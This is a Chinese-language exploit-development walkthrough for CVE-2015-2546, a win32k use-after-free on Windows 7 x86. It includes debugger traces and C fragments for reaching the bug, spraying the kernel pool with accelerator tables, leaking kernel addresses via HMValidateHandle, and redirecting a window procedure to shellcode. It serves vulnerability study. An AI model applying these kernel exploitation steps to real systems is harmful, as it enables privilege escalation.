本片文章从百度安全实验室的分析文章入手构造Windows 7 x86 sp1下的Exploit,参考文章的链接在文末,CVE-2015-2546这个漏洞和CVE-2014-4113很类似,原理都是Use After Free,利用的点也都是差不多的,建议先从CVE-2014-4113开始分析,再到CVE-2015-2546这个漏洞,不过问题不大,我尽量写的详细一些
借鉴补丁分析文章中的一张图片,左边是打了补丁之后的状况,我们很清楚的可以看到,这里多了一个对[eax+0B0h]
的检测,而这里的eax则是tagWND
,[eax+0B0h]
也就是tagMENUWND-> pPopupMenu
结构,漏洞的原因就是这个结构的Use After Free,文章还提出了缺陷函数则是 xxxMNMouseMove
漏洞的触发流程则是,首先我们需要进入到 xxxMNMouseMove 函数,函数中会有一个 xxxSendMessage 函数发送用户模式的回调,然而我们可以通过回调函数进行捕获,将传入的窗口进行销毁并且占用,因为没有相应的检查,后面会将占用的 pPopupMenu 结构传入 xxxMNHideNextHierarchy 函数,此函数会对tagPOPUPMENU.spwndNextPopup
发送消息,我们只需要构造好发送的消息即可内核任意代码执行
众所周知,我们利用漏洞的第一步是抵达漏洞点,如果你调过CVE-2014-4113的话,你会发现他们的漏洞点很接近,都在 xxxHandleMenuMessages 函数中,所以我们完全可以在4113的基础上进行构造,4113的Poc参考 => 这里 ,然而当我看到这张图的时候我内心是很崩溃的
我们先来看看这个函数的大概情况,这里我对函数进行了压缩,我们是想要进入 xxxMNMouseMove 函数,然而在 xxxHandleMenuMessages 这个函数中无时无刻都体现出了 v5 这个东西的霸气,而这个 v5 则来自我们的第一个参数 a1,也就是说我们只要把这东西搞清楚,能够实现对它的控制,我们也就能执行到我们的目的地了
int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString) { v5 = *(_DWORD *)(a1 + 4); if ( v5 > 0x104 ) { if ( v5 > 0x202 ) { if ( v5 == 0x203 ) { } if ( v5 == 0x204 ) { } if ( v5 != 0x205 ) { if ( v5 == 0x206 ) } } if ( v5 == 0x202 ) v20 = v5 - 0x105; // 0x105 if ( v20 ) { v21 = v20 - 1; // 0x105 + 1 if ( v21 ) { v22 = v21 - 0x12; // 0x105 + 1 + 0x12 if ( !v22 ) return 1; v23 = v22 - 0xE8; // 0x105 + 1 + 0x12 + 0xE8 if ( v23 ) { if ( v23 == 1 ) // 0x105 + 1 + 0x12 + 0xE8 + 0x1 = 0x201 { // CVE-2014-4113 } return 0; } xxxMNMouseMove((WCHAR)v3, a2, (int)v7); // Destination }
我们在4113的Poc中可以发现我们main窗口的回调函数中构造如下,这里当窗口状态为空闲WM_ENTERIDLE
的时候,我们就用PostMessageA
函数模拟单击事件,从而抵达漏洞点,发送的第三个消息我们的第二个参数为WM_LBUTTONDOWN
也就是0x201,也就是说这里是通过我们传入的第二个参数来判断的,因为我们传入的是 0x201 所以抵达了4113的利用点
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { /* Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug */ printf("[+] WindProc called with message=%d\n", msg); if (msg == WM_ENTERIDLE) { PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0); } //Just pass any other messages to the default window procedure return DefWindowProc(hwnd, msg, wParam, lParam); }
所以我们这里将其改为 0x200 再次观察,注意这里我们都是用宏代替的数字,再次运行即可抵达漏洞点
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { if (uMsg == WM_ENTERIDLE) { if (gFlag1 != 1) { gFlag1 = 1; PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hWnd, WM_MOUSEMOVE, 0, 0); } else { PostMessageA(hWnd, WM_CLOSE, 0, 0); } } return DefWindowProcA(hWnd, uMsg, wParam, lParam); }
进入了函数之后就要进一步运行到 xxxMNHideNextHierarchy 处,也就是下图标注的地方,总而言之,我们就是通过可控的参数不断修改函数流程
我们运行刚才修改的Poc,发现运行到一半跳走了
0: kd>
win32k!xxxMNMouseMove+0x2c:
95e3941b 3b570c cmp edx,dword ptr [edi+0Ch]
0: kd>
win32k!xxxMNMouseMove+0x2f:
95e3941e 0f846f010000 je win32k!xxxMNMouseMove+0x1a4 (95e39593)
0: kd>
win32k!xxxMNMouseMove+0x1a4: // 这里跳走了
95e39593 5f pop edi
0: kd>
win32k!xxxMNMouseMove+0x1a5:
95e39594 5b pop ebx
0: kd>
win32k!xxxMNMouseMove+0x1a6:
95e39595 c9 leave
0: kd>
win32k!xxxMNMouseMove+0x1a7:
95e39596 c20c00 ret 0Ch
我们查看一下寄存器情况,这里是两个0在比较,所以跳走了
2: kd> r
eax=00000000 ebx=fe951380 ecx=00000000 edx=00000000 esi=95f1f580 edi=95f1f580
eip=95e3941b esp=8c64fa6c ebp=8c64fa90 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!xxxMNMouseMove+0x2c:
95e3941b 3b570c cmp edx,dword ptr [edi+0Ch] ds:0023:95f1f58c=00000000
2: kd> dd edi+0Ch l1
95f1f58c 00000000
2: kd> r edx
edx=00000000
我们看看这个edi是如何得到的,你可以在调用函数之前下断点观察,下面是我的调试过程,这里我直接说结果了,这个 edi+0Ch 其实就是我们 PostMessageA 传入的第四个参数
2: kd> g
Breakpoint 0 hit
win32k!xxxHandleMenuMessages+0x2e8:
95e39061 e889030000 call win32k!xxxMNMouseMove (95e393ef)
3: kd> dd esp l4
8c6dda98 fde9f2c8 95f1f580 00000000
3: kd>
win32k!xxxMNMouseMove+0x2c:
95e3941b 3b570c cmp edx,dword ptr [edi+0Ch]
3: kd> r
eax=00000000 ebx=fde9f2c8 ecx=00000000 edx=00000000 esi=95f1f580 edi=95f1f580
eip=95e3941b esp=8c6dda6c ebp=8c6dda90 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246
win32k!xxxMNMouseMove+0x2c:
95e3941b 3b570c cmp edx,dword ptr [edi+0Ch] ds:0023:95f1f58c=00000000
所以我们只需要把第四个参数改为1就行了
PostMessageA(hWnd, WM_MOUSEMOVE, 0, 1);
我们来分析一下这个函数的具体情况,不必要的地方我进行了删减,可以看出这个 v7 是很重要的,v7即是 xxxMNFindWindowFromPoint 函数的返回值,为了到达漏洞点我们需要进一步的构造,这里对 v7 的返回值进行了判断,我们不能让其为 -5 ,也不能让其为 -1 ,也不能让其为 0 ,所以我们需要考虑一下该如何实现这个过程
void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3) { ... v3 = (HDC)UnicodeString; if ( v3 == *((HDC *)v3 + 8) ) { if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 0xC) ) { v6 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v4);// 通过 Hook 可控 v7 = v6; ... if ( v7 == 0xFFFFFFFB ) // v7 == -5 { ... } else { if ( v7 == 0xFFFFFFFF ) // v7 == -1 goto LABEL_15; if ( v7 ) { if ( IsWindowBeingDestroyed(v7) ) return; ... tagPOPUPMENU = *(_DWORD **)(v7 + 0xB0);// 获取 tagPOPUPMENU,偏移为 +0B0h if ( v8 & 0x100 && !(v8 & 0x8000) && !(*tagPOPUPMENU & 0x100000) ) { ... xxxSendMessage((PVOID)v7, 0x20, *(_DWORD *)v7, (void *)2); } v10 = xxxSendMessage((PVOID)v7, 0xE5, UnicodeString, 0); // 处理 1E5h if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, 0xF0, 0, 0) ) // 处理 1F0h xxxMNHideNextHierarchy(tagPOPUPMENU);// 触发漏洞 goto LABEL_30; } } } } }
从上面的代码可以看出,这里要调用三次 xxxSendMessage 函数,也就是说我们需要在回调函数中处理三种消息即可,第一处和4113一样,我们处理 1EB 的消息,但是你会发现我们一直卡在了这里
if ( IsWindowBeingDestroyed(v7) ) return;
这个函数的原型如下,作用是确定给定的窗口句柄是否标识一个已存在的窗口,也就是说我们的v7必须是要返回一个窗口句柄,这里我们考虑返回一个窗口句柄即可
// Determines whether the specified window handle identifies an existing window. BOOL IsWindow( HWND hWnd );
到达了利用点我们需要考虑如何对结构体进行构造,这里我们使用的是CreateAcceleratorTable
函数进行堆喷,这个函数的作用就是用来创建加速键表,因为每创建的一个加速键表大小为0x8,我们的tagPOPUPMENU
大小为0x28也就刚好是5个加速键表,所以我们可以通过控制加速键表的池布局来实现构造假的tagPOPUPMENU
LPACCEL lpAccel = (LPACCEL)LocalAlloc( LPTR, sizeof(ACCEL) * 0x5 // 大小 0x8 * 0x5 = 0x28 与 tagPOPUPMENU 大小相同 ); // 创建很多加速键表,实现堆喷 for (int i = 0; i < 50; i++) { hAccel[i] = CreateAcceleratorTable(lpAccel, 0x5); index = LOWORD(hAccel[i]); Address = &gHandleTable[index]; pAcceleratorTable[i] = (PUCHAR)Address->pKernel; printf("[+] Create Accelerator pKernelAddress at : 0x%p\n", pAcceleratorTable[i]); }
然后我们在通过释放双数的加速键表实现空隙,为了让我们的地址更可控
// 释放双数的加速键表,制造空洞 for (int i = 2; i < 50; i = i + 5) { DestroyAcceleratorTable(hAccel[i]); printf("[+] Destroy Accelerator pKernelAddress at : 0x%p\n", pAcceleratorTable[i]); }
我们可以在windbg中输出地址然后查看池布局,我们选择一个销毁加速键表的地址观察,这里的加速键表已经被释放了
2: kd> !pool fe9e9e28
Pool page fe9e9e28 region is Paged session pool
fe9e9000 size: c0 previous size: 0 (Allocated) Gla4
fe9e90c0 size: 8 previous size: c0 (Free) ....
fe9e90c8 size: a0 previous size: 8 (Allocated) Gla8
fe9e9168 size: d0 previous size: a0 (Allocated) Gpff
fe9e9238 size: 2d0 previous size: d0 (Allocated) Ttfd
fe9e9508 size: 50 previous size: 2d0 (Allocated) Ttfd
fe9e9558 size: 48 previous size: 50 (Allocated) Gffv
fe9e95a0 size: 18 previous size: 48 (Allocated) Ggls
fe9e95b8 size: 50 previous size: 18 (Allocated) Ttfd
fe9e9608 size: 48 previous size: 50 (Allocated) Gffv
fe9e9650 size: 70 previous size: 48 (Allocated) Ghab
fe9e96c0 size: 10 previous size: 70 (Allocated) Glnk
fe9e96d0 size: 70 previous size: 10 (Allocated) Ghab
fe9e9740 size: 78 previous size: 70 (Allocated) Gpfe
fe9e97b8 size: 70 previous size: 78 (Allocated) Ghab
fe9e9828 size: 10 previous size: 70 (Allocated) Glnk
fe9e9838 size: 10 previous size: 10 (Allocated) Glnk
fe9e9848 size: 70 previous size: 10 (Allocated) Ghab
fe9e98b8 size: 10 previous size: 70 (Allocated) Glnk
fe9e98c8 size: 78 previous size: 10 (Allocated) Gpfe
fe9e9940 size: d0 previous size: 78 (Allocated) Gpff
fe9e9a10 size: 2d0 previous size: d0 (Allocated) Ttfd
fe9e9ce0 size: 50 previous size: 2d0 (Allocated) Ttfd
fe9e9d30 size: 48 previous size: 50 (Allocated) Gffv
fe9e9d78 size: 10 previous size: 48 (Allocated) Glnk
fe9e9d88 size: 18 previous size: 10 (Allocated) Ggls
fe9e9da0 size: 18 previous size: 18 (Allocated) Ggls
fe9e9db8 size: 10 previous size: 18 (Allocated) Glnk
fe9e9dc8 size: 8 previous size: 10 (Free) Ggls
fe9e9dd0 size: 20 previous size: 8 (Allocated) Usse Process: 87aa9d40
fe9e9df0 size: 30 previous size: 20 (Free) Gh14
*fe9e9e20 size: 40 previous size: 30 (Free ) *Usac Process: 8678b990
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
fe9e9e60 size: c0 previous size: 40 (Allocated) Gla4
fe9e9f20 size: 70 previous size: c0 (Allocated) Ghab
fe9e9f90 size: 70 previous size: 70 (Allocated) Ghab
在构造Fake Structure之前我提到了我们需要创建一个窗口,这里我们使用类名为 #32768 的窗口,这个窗口调用 CreateWindowExA 创建窗口后,会自动生成 tagPopupMenu ,我们可以获取返回值通过 pself 指针泄露我们的内核地址,泄露的方法就是通过判断 jmp 的硬编码,获取内核地址,我就不详细讲解了,看代码应该可以看懂
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("[+] Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("[+] Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("[+] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; } unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE; } PTHRDESKHEAD tagWND2 = (PTHRDESKHEAD)pHmValidateHandle(hwnd2, 1); PVOID tagPopupmenu = tagWND2->pSelf; printf("[+] tagWnd2 at pKernel Address : 0x%p\n", tagWND2->pSelf);
这样我们就可以截断第一处的消息并且绕过IsWindowBeingDestroyed
的检验了,剩下两处的检验我们进行如下构造,对于 0x1E5 类型的消息我们只需要返回正确的值绕过判断即可,这里是0x10,对于 1F0h 类型的消息我们首先销毁第二个窗口,导致tagPopupMenu被释放,然后再用加速键表进行占用,这样我们后面调用xxxMNHideNextHierarchy函数就会引用tagACCEL+0xc
的内容,然而这个内容我们可以控制
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { LPACCEL lpAccel; // 处理 1EB 的消息 if (uMsg == 0x1EB) { return (LONG)hwnd2; } else if (uMsg == 0x1F0) { if (hwnd2 != NULL) { // #32768 窗口进行销毁,tagPopupMenu被释放 DestroyWindow(hwnd2); // Accelerator 占用销毁的位置 lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 0x5); for (int i = 0; i < 50; i++) { CreateAcceleratorTable(lpAccel, 0x5); } } // 返回值为0绕过判断 return 0; } // 处理 1E5 的消息,返回 0x10 else if (uMsg == 0x1E5) { return 0x10; } return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam); }
释放之前我们查看一下池的结构,还是刚才的哪个地址,我们可以发现这里已经改为了win32k!MNAllocPopup
结构,我们将其销毁之后再用加速键表占位即可实现构造
3: kd> !pool fe9e9e28
Pool page fe9e9e28 region is Paged session pool
fe9e9000 size: c0 previous size: 0 (Allocated) Gla4
fe9e90c0 size: 8 previous size: c0 (Free) ....
fe9e90c8 size: a0 previous size: 8 (Allocated) Gla8
fe9e9168 size: d0 previous size: a0 (Allocated) Gpff
fe9e9238 size: 2d0 previous size: d0 (Allocated) Ttfd
fe9e9508 size: 50 previous size: 2d0 (Allocated) Ttfd
fe9e9558 size: 48 previous size: 50 (Allocated) Gffv
fe9e95a0 size: 18 previous size: 48 (Allocated) Ggls
fe9e95b8 size: 50 previous size: 18 (Allocated) Ttfd
fe9e9608 size: 48 previous size: 50 (Allocated) Gffv
fe9e9650 size: 70 previous size: 48 (Allocated) Ghab
fe9e96c0 size: 10 previous size: 70 (Allocated) Glnk
fe9e96d0 size: 70 previous size: 10 (Allocated) Ghab
fe9e9740 size: 78 previous size: 70 (Allocated) Gpfe
fe9e97b8 size: 70 previous size: 78 (Allocated) Ghab
fe9e9828 size: 10 previous size: 70 (Allocated) Glnk
fe9e9838 size: 10 previous size: 10 (Allocated) Glnk
fe9e9848 size: 70 previous size: 10 (Allocated) Ghab
fe9e98b8 size: 10 previous size: 70 (Allocated) Glnk
fe9e98c8 size: 78 previous size: 10 (Allocated) Gpfe
fe9e9940 size: d0 previous size: 78 (Allocated) Gpff
fe9e9a10 size: 2d0 previous size: d0 (Allocated) Ttfd
fe9e9ce0 size: 50 previous size: 2d0 (Allocated) Ttfd
fe9e9d30 size: 48 previous size: 50 (Allocated) Gffv
fe9e9d78 size: 10 previous size: 48 (Allocated) Glnk
fe9e9d88 size: 18 previous size: 10 (Allocated) Ggls
fe9e9da0 size: 18 previous size: 18 (Allocated) Ggls
fe9e9db8 size: 10 previous size: 18 (Allocated) Glnk
fe9e9dc8 size: 8 previous size: 10 (Free) Ggls
fe9e9dd0 size: 20 previous size: 8 (Allocated) Usse Process: 87aa9d40
fe9e9df0 size: 30 previous size: 20 (Free) Gh14
*fe9e9e20 size: 40 previous size: 30 (Allocated) *Uspm Process: 8678b990
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
fe9e9e60 size: c0 previous size: 40 (Allocated) Gla4
fe9e9f20 size: 70 previous size: c0 (Allocated) Ghab
fe9e9f90 size: 70 previous size: 70 (Allocated) Ghab
我们在引用的地方下断点发现,这里已经将tagACCEL+0xc
处的值改为0x5
3: kd> g
Breakpoint 2 hit
win32k!xxxMNHideNextHierarchy+0x2f:
95e18efd 8b460c mov eax,dword ptr [esi+0Ch]
3: kd> r
eax=00000005 ebx=fdbdf280 ecx=fdea2e8c edx=8e8b3a50 esi=fdbdf280 edi=00000000
eip=95e18efd esp=8e8b3a4c ebp=8e8b3a5c iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
win32k!xxxMNHideNextHierarchy+0x2f:
95e18efd 8b460c mov eax,dword ptr [esi+0Ch] ds:0023:fdbdf28c=00000005
我们最后的利用点还是 xxxSendMessageTimeout 函数下面的片段
loc_95DB94E8:
push [ebp+Src]
push dword ptr [ebp+UnicodeString]
push ebx
push esi
call dword ptr [esi+60h] ; call ShellCode
mov ecx, [ebp+arg_18]
test ecx, ecx
jz loc_95DB9591
期间我们需要绕过的几处判断,这些地方和CVE-2014-4113很类似
*(PVOID*)(0xD) = pThreadInfo; // 0x0D - 0x5 = 0x8 *(BYTE*)(0x1B) = (BYTE)4; // 0x1B - 0x5 = 0x16, bServerSideWindowProc change! *(PVOID*)(0x65) = (PVOID)ShellCode; // 0x65 - 0x5 = 0x60, lpfnWndProc
最后整合一下思路,完整利用代码参考 => 这里
这个漏洞调试之前最好是先把2014-4113搞定了,这两个漏洞确实很像,整个过程调起来也比较艰辛,Use After Free的漏洞就需要我们经常使用堆喷的技巧,然后构造假的结构,最后找利用点提权
参考资料:
[+] k0shl师傅的分析:https://www.anquanke.com/post/id/84911
[+] 百度安全实验室的分析:http://xlab.baidu.com/cve-2015-2546%ef%bc%9a%e4%bb%8e%e8%a1%a5%e4%b8%81%e6%af%94%e5%af%b9%e5%88%b0exploit/